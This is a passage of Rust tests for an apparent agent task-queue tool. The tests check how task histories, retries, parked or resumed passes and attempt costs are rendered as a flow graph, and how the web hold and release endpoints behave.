13994 let origin = followup_origin(&fu(None), |_| None, |_| None);
13995 let flow = task_flow(&task, &[], 5, Some(&origin));
13996 for node in &flow.nodes[..2] {
13997 assert!(!node.time_expected);
13998 assert_eq!(node.started_at, None);
13999 }
14000 assert!(flow.nodes[2].time_expected);
14001 }
14002
14003 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14004 crate::queue::FollowUp {
14005 run: "20260901-000000-aaaa".to_owned(),
14006 origin_task: origin_task.map(str::to_owned),
14007 pr: "https://example.com/o/r/pull/1".to_owned(),
14008 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14009 .map(str::to_owned)
14010 .to_vec(),
14011 generation: 1,
14012 }
14013 }
14014
14015 fn parent_task() -> Task {
14016 let mut p = flow_task(&[]);
14017 p.title = "Parent title".to_owned();
14018 p.status = TaskStatus::Done;
14019 p
14020 }
14021
14022 #[test]
14023 fn flow_opens_with_the_parent_task_of_a_followup() {
14024 let p = parent_task();
14025 let pid = p.id.clone();
14026 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14027 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14028 let n = &f.nodes[0];
14029 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14030 assert_eq!(
14031 n.label,
14032 format!("Follow-up of {}", crate::queue::short(&pid))
14033 );
14034 assert_eq!(n.detail.as_deref(), Some("Parent title"));
14035 assert_eq!(n.status, Some("done"));
14036 assert_eq!(n.status_of, "task");
14037 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14038 assert_eq!(f.nodes[1].key, "start");
14039 assert_eq!(f.edges[0].from, "origin");
14040 assert_eq!(
14041 f.edges[0].label,
14042 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14043 );
14044 }
14045
14046 #[test]
14047 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14048 let o = followup_origin(
14049 &fu(Some("gone")),
14050 |_| None,
14051 |_| {
14052 Some(RunState::new(
14053 std::path::PathBuf::from("."),
14054 "main".to_owned(),
14055 "0".to_owned(),
14056 "t".to_owned(),
14057 crate::config::Config::default(),
14058 ))
14059 },
14060 );
14061 assert!(o.parent.is_none());
14062 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14063 let n = &f.nodes[0];
14064 assert_eq!(n.status_of, "run");
14065 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14066 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14067 }
14068
14069 #[test]
14070 fn flow_followup_with_nothing_readable_has_no_link() {
14071 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14072 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14073 let n = &f.nodes[0];
14074 assert_eq!(n.href, None);
14075 assert_eq!(n.note, Some("unreadable"));
14076 assert!(!n.readable);
14077 }
14078
14079 #[test]
14080 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14081 let o = followup_origin(&fu(None), |_| None, |_| None);
14082 let mut t = flow_task(&[]);
14083 t.origin_chat = Some("c1".to_owned());
14084 let f = task_flow(&t, &[], 5, Some(&o));
14085 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14086 t.source = Source::Agent {
14087 run: "c1".to_owned(),
14088 node: crate::queue::CHAT_NODE.to_owned(),
14089 };
14090 let f = task_flow(&t, &[], 5, Some(&o));
14091 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14092 assert_eq!(
14093 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14094 ("chat", "origin")
14095 );
14096 }
14097
14098 #[test]
14099 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14100 let mut p = parent_task();
14101 p.id = "a b/c".to_owned();
14102 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14103 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14104 }
14105
14106 #[test]
14107 fn flow_opens_with_the_chat_that_queued_the_task() {
14108 let mut t = flow_task(&[]);
14109 t.source = Source::Agent {
14110 run: "a b/c".to_owned(),
14111 node: crate::queue::CHAT_NODE.to_owned(),
14112 };
14113 let f = flow_for(&t, &[]);
14114 assert_eq!(f.nodes[0].key, "chat");
14115 assert_eq!(f.nodes[0].kind, "chat");
14116 assert_eq!(
14117 f.nodes[0].label,
14118 format!("Chat {}", crate::queue::short("a b/c"))
14119 );
14120 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14121 assert_eq!(f.nodes[1].key, "start");
14122 assert_eq!(
14123 f.edges[0],
14124 FlowEdge {
14125 from: "chat".to_owned(),
14126 to: "start".to_owned(),
14127 label: "queued from chat".to_owned(),
14128 attempt: AttemptCost::None,
14129 }
14130 );
14131 }
14132
14133 #[test]
14134 fn flow_has_no_chat_box_for_other_sources() {
14135 for source in [
14136 Source::Human,
14137 Source::Issue {
14138 number: 3,
14139 repo: "o/r".to_owned(),
14140 },
14141 Source::Agent {
14142 run: "20260904-014455-ab12".to_owned(),
14143 node: "implement".to_owned(),
14144 },
14145 ] {
14146 let mut t = flow_task(&[]);
14147 t.source = source;
14148 let f = flow_for(&t, &[]);
14149 assert_eq!(f.nodes[0].key, "start");
14150 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14151 assert!(f.edges.iter().all(|e| e.from != "chat"));
14152 }
14153 }
14154
14155 const FA: &str = "20260902-140501-aaaa";
14156 const FB: &str = "20260902-140502-bbbb";
14157
14158 #[test]
14159 fn flow_follows_blocked_retry_merged_to_done() {
14160 let mut t = flow_task(&[FA, FB]);
14161 t.status = TaskStatus::Done;
14162 let f = flow_for(
14163 &t,
14164 &[
14165 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14166 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14167 ],
14168 );
14169 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14170 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14171 assert_eq!(f.edges.len(), 3);
14172 assert_eq!(f.edges[0].label, "claimed");
14173 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14174 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14175 assert_eq!(f.edges[2].label, "merged \u{2192} done");
14176 assert_eq!(
14177 f.nodes[2].href.as_deref(),
14178 Some("#/runs/20260902-140502-bbbb")
14179 );
14180 assert!(f.nodes[2].decided);
14181 }
14182
14183 #[test]
14184 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14185 let quota = || {
14186 flow_run(RunStatus::Stalled, |s| {
14187 s.quota.push(crate::run::QuotaLoss {
14188 seat: "judge-1".to_owned(),
14189 node: "judge".to_owned(),
14190 at: Timestamp::now(),
14191 reset: None,
14192 })
14193 })
14194 };
14195 let mut t = flow_task(&[FA, FA]);
14196 t.status = TaskStatus::Queued;
14197 let f = flow_for(&t, &[(FA, Some(quota()))]);
14198 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14199 assert_eq!(f.nodes[1].note, Some("interrupted"));
14200 assert_eq!(
14201 f.nodes[1].status, None,
14202 "no outcome copied onto an earlier pass"
14203 );
14204 assert_eq!(
14205 f.edges[1].attempt,
14206 AttemptCost::Unknown,
14207 "a resume does not prove the earlier pass was refunded"
14208 );
14209 assert!(f.edges[1].label.contains("resume the same run"));
14210 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14211 assert_eq!(
14212 f.edges[2].label,
14213 "stalled after a resume, refund unknown \u{2192} queued"
14214 );
14215 assert!(!f.nodes[2].decided, "a stall is not a decision");
14216 assert_eq!(f.nodes[2].note, Some("no verdict"));
14217 }
14218
14219 #[test]
14220 fn flow_single_pass_quota_stall_is_refunded() {
14221 let t = flow_task(&[FA]);
14222 let f = flow_for(
14223 &t,
14224 &[(
14225 FA,
14226 Some(flow_run(RunStatus::Stalled, |s| {
14227 s.quota.push(crate::run::QuotaLoss {
14228 seat: "judge-1".to_owned(),
14229 node: "judge".to_owned(),
14230 at: Timestamp::now(),
14231 reset: None,
14232 })
14233 })),
14234 )],
14235 );
14236 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14237 }
14238
14239 #[test]
14240 fn flow_parked_refunds_and_stall_without_quota_spends() {
14241 let mut t = flow_task(&[FA]);
14242 t.status = TaskStatus::Queued;
14243 let f = flow_for(
14244 &t,
14245 &[(
14246 FA,
14247 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14248 )],
14249 );
14250 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14251 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14252 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14253 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14254 assert!(!f.nodes[1].decided);
14255 }
14256
14257 #[test]
14258 fn flow_keeps_an_unreadable_run_as_its_own_node() {
14259 let t = flow_task(&[FA, FB]);
14260 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14261 assert_eq!(f.nodes[1].note, Some("unreadable"));
14262 assert!(!f.nodes[1].readable);
14263 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14264 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14265 }
14266
14267 #[test]
14268 fn flow_names_the_branch_of_a_review_only_run() {
14269 let t = flow_task(&[FA]);
14270 let f = flow_for(
14271 &t,
14272 &[(
14273 FA,
14274 Some(flow_run(RunStatus::Merged, |s| {
14275 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14276 })),
14277 )],
14278 );
14279 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14280 assert_eq!(
14281 f.nodes[1].detail.as_deref(),
14282 Some("review-only run of branch magi/x/A")
14283 );
14284 }
14285
14286 #[test]
14287 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14288 let mut t = flow_task(&[FA]);
14289 t.status = TaskStatus::Held;
14290 let pr = crate::run::PrRecord {
14291 url: "https://example.test/pr/1".to_owned(),
14292 number: 1,
14293 state: "open".to_owned(),
14294 checks: "green".to_owned(),
14295 round: 0,
14296 rounds: 3,
14297 red_at_merge: Vec::new(),
14298 };
14299 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14300 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14301 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14302 t.status = TaskStatus::Done;
14303 let f = flow_for(&t, &[(FA, Some(blocked))]);
14304 assert_eq!(f.edges[1].label, "closed by hand: task is done");
14305 }
14306
14307 #[test]
14308 fn flow_with_no_runs_goes_from_queued_to_queued() {
14309 let t = flow_task(&[]);
14310 let f = flow_for(&t, &[]);
14311 assert_eq!(f.nodes.len(), 2);
14312 assert_eq!(f.edges.len(), 1);
14313 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14314 assert_eq!(f.edges[0].attempt, AttemptCost::None);
14315 }
14316
14317 #[test]
14320 fn a_parked_non_terminal_run_is_explained_as_parked() {
14321 let mut s = RunState::new(
14322 PathBuf::from("/repo/magi"),
14323 "main".to_owned(),
14324 "0123456789abcdef".to_owned(),
14325 "Do it".to_owned(),
14326 Config::default(),
14327 );
14328 s.status = RunStatus::Implementing;
14329 s.parked = true;
14330 let task = Task::new(
14331 "t".to_owned(),
14332 "Do it".to_owned(),
14333 PathBuf::from("/repo/magi"),
14334 Source::Human,
14335 );
14336 let v = task_run_view(
14337 "20260902-140501-aaaa",
14338 Some(&s),
14339 RunSlot {
14340 n: 1,
14341 resumed: false,
14342 resumed_later: None,
14343 prior: None,
14344 last: true,
14345 ..RunSlot::default()
14346 },
14347 &task,
14348 );
14349 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14350 }
14351
14352 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14353 let mut s = flow_run(RunStatus::Implementing, edit);
14354 s.parked = false;
14355 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14356 task_run_view(
14357 "20260902-140501-aaaa",
14358 Some(&s),
14359 RunSlot {
14360 n: 1,
14361 resumed: false,
14362 resumed_later: Some(2),
14363 prior: None,
14364 last: false,
14365 ..RunSlot::default()
14366 },
14367 &task,
14368 )
14369 }
14370
14371 #[test]
14372 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14373 let v = earlier_pass_view(|_| {});
14374 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14375 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14376 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14377 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14378 assert_eq!(v.exit, RunExit::Interrupted);
14379 assert_eq!(v.attempt, AttemptCost::Unknown);
14380 }
14381
14382 #[test]
14383 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14384 let v = earlier_pass_view(|s| {
14385 s.quota.push(crate::run::QuotaLoss {
14386 seat: "judge-1".to_owned(),
14387 node: "judge".to_owned(),
14388 at: Timestamp::now(),
14389 reset: None,
14390 });
14391 });
14392 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14393 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14394 assert_eq!(v.attempt, AttemptCost::Unknown);
14395 }
14396
14397 #[test]
14398 fn the_current_pass_states_its_recorded_cause_and_cost() {
14399 let slot = || RunSlot {
14400 n: 1,
14401 resumed: false,
14402 resumed_later: None,
14403 prior: None,
14404 last: true,
14405 ..RunSlot::default()
14406 };
14407 let task = flow_task(&["20260902-140501-aaaa"]);
14408 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14409 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14410 assert_eq!(
14411 (v.exit, v.attempt),
14412 (RunExit::Parked, AttemptCost::Refunded)
14413 );
14414 let spent = flow_run(RunStatus::Blocked, |_| {});
14415 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14416 assert_eq!(v.attempt, AttemptCost::Spent);
14417 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14418 }
14419
14420 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14421 crate::run::RunPass {
14422 index,
14423 started_at: Timestamp::now(),
14424 resumed: index > 0,
14425 ended_at: end.as_ref().map(|_| Timestamp::now()),
14426 end,
14427 task_entry: true,
14428 }
14429 }
14430
14431 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14432 Some(crate::run::PassEnd::Parked { cause })
14433 }
14434
14435 fn upgrade_cause() -> crate::run::ParkCause {
14436 crate::run::ParkCause::Upgrade {
14437 from: "0.121.0".to_owned(),
14438 to: Some("0.121.1".to_owned()),
14439 }
14440 }
14441
14442 fn settled_pass(
14443 run: &str,
14444 index: usize,
14445 cost: crate::queue::PassCost,
14446 ) -> crate::queue::TaskPass {
14447 crate::queue::TaskPass {
14448 run: run.to_owned(),
14449 pass_index: index,
14450 cost,
14451 attempts_after: 1,
14452 settled_at: Timestamp::now(),
14453 parked: None,
14454 }
14455 }
14456
14457 const RUN_X: &str = "20261011-223708-4334";
14458
14459 #[test]
14460 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14461 use crate::queue::PassCost;
14462 let run = flow_run(RunStatus::Implementing, |s| {
14463 s.passes = vec![
14464 recorded_pass(0, parked(upgrade_cause())),
14465 recorded_pass(1, None),
14466 ];
14467 });
14468 let mut task = flow_task(&[RUN_X, RUN_X]);
14469 task.attempts = 1;
14470 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14471 let h = task_history(&task, |_| Some(run.clone()));
14472 assert_eq!(h.len(), 2);
14473 assert_eq!(h[0].kind, "competition");
14474 assert_eq!(h[1].kind, "resume");
14475 assert_eq!(
14476 (h[0].exit, h[0].attempt),
14477 (RunExit::Parked, AttemptCost::Refunded)
14478 );
14479 assert!(
14480 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14481 "{}",
14482 h[0].outcome
14483 );
14484 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14485 assert!(
14486 h[0].outcome.contains("pass #2 resumed the same run"),
14487 "{}",
14488 h[0].outcome
14489 );
14490 assert!(
14491 h[0].outcome.contains("pass 1 of 2 over run"),
14492 "{}",
14493 h[0].outcome
14494 );
14495 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14496 assert_eq!(
14497 h[0].exit_label,
14498 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14499 );
14500 let f = task_flow(&task, &h, 2, None);
14501 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14503 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14504 assert!(
14505 f.edges[1].label.contains("upgrade 0.121.0"),
14506 "{}",
14507 f.edges[1].label
14508 );
14509 assert!(
14510 f.edges[1].label.contains("resume the same run"),
14511 "{}",
14512 f.edges[1].label
14513 );
14514 assert_eq!(f.nodes[1].note, Some("parked"));
14515 }
14516
14517 #[test]
14518 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14519 let mut a = flow_run(RunStatus::Implementing, |s| {
14520 s.passes = vec![
14521 recorded_pass(0, parked(upgrade_cause())),
14522 recorded_pass(1, None),
14523 ];
14524 });
14525 let mut b = flow_run(RunStatus::Failed, |s| {
14526 s.passes = vec![recorded_pass(0, None)];
14527 });
14528 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14529 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14530 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14531 let mut task = flow_task(&[]);
14532 task.start("a".into());
14533 task.start("b".into());
14534 task.start("a".into());
14535 assert_eq!(task.runs, ["b", "a"]);
14536 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14537 let h = task_history(&task, |id| {
14538 Some(if id == "a" { a.clone() } else { b.clone() })
14539 });
14540 assert_eq!(
14541 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14542 ["a", "b", "a"]
14543 );
14544 assert_eq!(h[0].attempt, AttemptCost::Refunded);
14545 assert!(h[0].outcome.contains("upgrade"));
14546 assert_eq!(h[2].kind, "resume");
14547 assert!(h[2].pass.is_some());
14548 task.runs = vec!["a".into(), "b".into(), "a".into()];
14550 let old = task_history(&task, |id| {
14551 Some(if id == "a" { a.clone() } else { b.clone() })
14552 });
14553 assert_eq!(
14554 old.iter()
14555 .map(|v| (&v.id, &v.kind, v.attempt))
14556 .collect::<Vec<_>>(),
14557 h.iter()
14558 .map(|v| (&v.id, &v.kind, v.attempt))
14559 .collect::<Vec<_>>()
14560 );
14561 }
14562
14563 #[test]
14564 fn an_upgrade_whose_target_was_not_known_says_so() {
14565 let run = flow_run(RunStatus::Implementing, |s| {
14566 s.passes = vec![
14567 recorded_pass(
14568 0,
14569 parked(crate::run::ParkCause::Upgrade {
14570 from: "0.121.0".to_owned(),
14571 to: None,
14572 }),
14573 ),
14574 recorded_pass(1, None),
14575 ];
14576 });
14577 let task = flow_task(&[RUN_X, RUN_X]);
14578 let h = task_history(&task, |_| Some(run.clone()));
14579 assert!(
14580 h[0].outcome.contains("upgrade from 0.121.0"),
14581 "{}",
14582 h[0].outcome
14583 );
14584 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14586 }
14587
14588 #[test]
14589 fn each_pass_keeps_its_own_cause_across_several_resumes() {
14590 use crate::queue::PassCost;
14591 use crate::run::ParkCause;
14592 let run = flow_run(RunStatus::Implementing, |s| {
14593 s.passes = vec![
14594 recorded_pass(0, parked(upgrade_cause())),
14595 recorded_pass(
14596 1,
14597 parked(ParkCause::Interrupt {
14598 reason: "task a1b2 asked to run first".to_owned(),
14599 }),
14600 ),
14601 recorded_pass(2, parked(ParkCause::Operator)),
14602 recorded_pass(3, None),
14603 ];
14604 });
14605 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14606 task.attempts = 1;
14607 task.passes = (0..3)
14608 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14609 .collect();
14610 let h = task_history(&task, |_| Some(run.clone()));
14611 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14612 assert!(
14613 h[1].outcome.contains("task a1b2 asked to run first"),
14614 "{}",
14615 h[1].outcome
14616 );
14617 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14618 assert!(
14619 h[2].outcome.contains("operator asked the loop to park"),
14620 "{}",
14621 h[2].outcome
14622 );
14623 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14624 let f = task_flow(&task, &h, 2, None);
14625 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14626 }
14627
14628 #[test]
14629 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14630 let run = flow_run(RunStatus::Implementing, |s| {
14631 s.passes = vec![
14632 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14633 recorded_pass(1, None),
14634 ];
14635 });
14636 let task = flow_task(&[RUN_X, RUN_X]);
14637 let h = task_history(&task, |_| Some(run.clone()));
14638 assert_eq!(h[0].exit, RunExit::Interrupted);
14639 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14640 assert!(
14641 h[0].outcome.contains("without recording why"),
14642 "{}",
14643 h[0].outcome
14644 );
14645 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14646 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14647 }
14648
14649 #[test]
14650 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14651 use crate::queue::PassCost;
14652 let run = flow_run(RunStatus::Implementing, |s| {
14655 s.passes = vec![
14656 recorded_pass(0, parked(upgrade_cause())),
14657 recorded_pass(1, None),
14658 ];
14659 });
14660 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14661 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14662 let h = task_history(&task, |_| Some(run.clone()));
14663 assert!(h[0].pass.is_none());
14664 assert_eq!(h[0].exit, RunExit::Interrupted);
14665 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14666 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14667 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14668 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14669 let legacy = flow_run(RunStatus::Implementing, |_| {});
14671 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14672 assert!(h.iter().all(|v| v.pass.is_none()));
14673 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14674 }
14675
14676 #[test]
14677 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14678 use crate::queue::PassCost;
14679 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14682 web.task_entry = false;
14683 let run = flow_run(RunStatus::Implementing, |s| {
14684 s.passes = vec![
14685 recorded_pass(0, parked(upgrade_cause())),
14686 web.clone(),
14687 recorded_pass(2, None),
14688 ];
14689 });
14690 let mut task = flow_task(&[RUN_X, RUN_X]);
14691 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14692 let h = task_history(&task, |_| Some(run.clone()));
14693 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14694 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14695
14696 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14699 web0.task_entry = false;
14700 let run = flow_run(RunStatus::Implementing, |s| {
14701 s.passes = vec![web0.clone(), recorded_pass(1, None)];
14702 });
14703 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14704 assert!(h[0].pass.is_none());
14705 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14706 assert!(h[1].pass.is_some());
14707 }
14708
14709 #[tokio::test]
14710 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14711 let dir = tempfile::tempdir().unwrap();
14712 let queue = Queue::at(dir.path().join("queue"));
14713 let ui = Arc::new(Ui::new(
14714 queue.clone(),
14715 Questions::at(dir.path().join("questions")),
14716 Talks::at(dir.path().join("talks")),
14717 dir.path().join("runs"),
14718 dir.path().to_path_buf(),
14719 dir.path().to_path_buf(),
14720 ));
14721 let mut t = Task::new(
14722 "recover".into(),
14723 "Inspect".into(),
14724 PathBuf::from("."),
14725 Source::Human,
14726 );
14727 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14728 t.start("run-A".into());
14729 t.release_operator("choice", Some("resume-question"));
14730 t.resume_override = Some(crate::queue::OperatorResume {
14731 question_id: "resume-question".into(),
14732 at: jiff::Timestamp::now(),
14733 conductor_rehold: None,
14734 forced: true,
14735 pinned_run: Some("run-A".into()),
14736 });
14737 t.hold_machine(Some("inspection pending".into()));
14738 t.edit("recover".into(), "Reuse approved PR head".into())
14739 .unwrap();
14740 queue.put(&mut t).unwrap();
14741 let mut cli = t.clone();
14742 cli.release_operator("cli", None);
14743 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14744 let reloaded = queue.get(&t.id).unwrap();
14745 assert_eq!(reply.task.status, TaskStatus::Queued);
14746 assert!(reloaded.resume_override.is_none());
14747 assert_eq!(reloaded.answers, t.answers);
14748 let mut web = reloaded.resumption.unwrap();
14749 let cli = cli.resumption.unwrap();
14750 assert_eq!(web.source, "web");
14751 web.source = cli.source.clone();
14752 web.at = cli.at;
14753 assert_eq!(web, cli);
14754 }
14755
14756 #[tokio::test]
14757 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14758 let f = Fixture::start().await;
14759 let queue = f.queue();
14760 let mut task = Task::new(
14761 "spent".to_owned(),
14762 "Try again".to_owned(),
14763 PathBuf::from("/repo/magi"),
14764 Source::Human,
14765 );
14766 task.start("20260902-140502-bbbb".to_owned());
14767 task.fail("agent gave up", 9);
14768 queue.put(&mut task).expect("file the task");
14769
14770 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14771 assert_eq!(held.status, 200);
14772 assert_eq!(held.json()["status_str"], "held");
14773
14774 let released = f
14775 .post(&format!("/api/queue/{}/release", task.id), None)
14776 .await;
14777 assert_eq!(released.status, 200);
14778 assert_eq!(released.json()["status_str"], "queued");
14779 assert_eq!(released.json()["resumption"]["source"], "web");
14780 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14781 let mut cli = task.clone();
14782 cli.release_operator("cli", None);
14783 let web = queue.get(&task.id).unwrap().resumption.unwrap();
14784 let cli = cli.resumption.unwrap();
14785 assert_eq!(web.instruction, cli.instruction);
14786 assert_eq!(web.answers_through, cli.answers_through);
14787 assert_eq!(web.runs_through, cli.runs_through);
14788 assert_eq!(web.cleared_reason, cli.cleared_reason);
14789 assert_eq!(
14790 released.json()["attempts"],
14791 0,
14792 "release is a real second chance, not an instant re-hold"
14793 );
14794 assert_eq!(
14795 queue.get(&task.id).expect("reload").status,
14796 TaskStatus::Queued,
14797 "the change is on disk, not only in the reply"
14798 );
14799 assert!(
14800 !f.home
14801 .path()
14802 .join("queue")
14803 .join(format!("{}.lock", task.id))
14804 .exists(),
14805 "the claim the mutation took is released again"
14806 );
14807 }
14808
14809 #[tokio::test]
14810 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14811 let f = Fixture::start().await;
14812 let queue = f.queue();
14813 let mut task = Task::new(
14814 "busy".to_owned(),
14815 "Running right now".to_owned(),
14816 PathBuf::from("/repo/magi"),
14817 Source::Human,
14818 );
14819 queue.put(&mut task).expect("file the task");
14820 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14821
14822 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14823
14824 assert_eq!(res.status, 409);
14825 assert_eq!(
14826 queue.get(&task.id).expect("reload").status,
14827 TaskStatus::Queued,
14828 "the refused hold changed nothing"
14829 );
14830 }
14831
14832 #[tokio::test]
14833 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14834 let f = Fixture::start().await;
14835 let queue = f.queue();
14836 let mut task = Task::new(
14837 "waiting on the migration".to_owned(),
14838 "Do the thing".to_owned(),
14839 PathBuf::from("/repo/magi"),
14840 Source::Human,
14841 );
14842 queue.put(&mut task).expect("file the task");
14843
14844 let held = f
14845 .post(
14846 &format!("/api/queue/{}/hold", task.id),
14847 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14848 )
14849 .await;
14850 assert_eq!(held.status, 200, "{}", held.body);
14851 assert_eq!(held.json()["status_str"], "held");
14852 assert_eq!(
14853 held.json()["hold_reason"],
14854 "waiting for 20260101-000000-aaaa to land"
14855 );
14856
14857 let listed = f.get("/api/queue").await.json();
14858 assert_eq!(
14859 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14860 "the card reads the reason off the same list route"
14861 );
14862
14863 let mut plain = Task::new(
14866 "no reason given".to_owned(),
14867 "Do another thing".to_owned(),
14868 PathBuf::from("/repo/magi"),
14869 Source::Human,
14870 );
14871 queue.put(&mut plain).expect("file the task");
14872 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14873 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
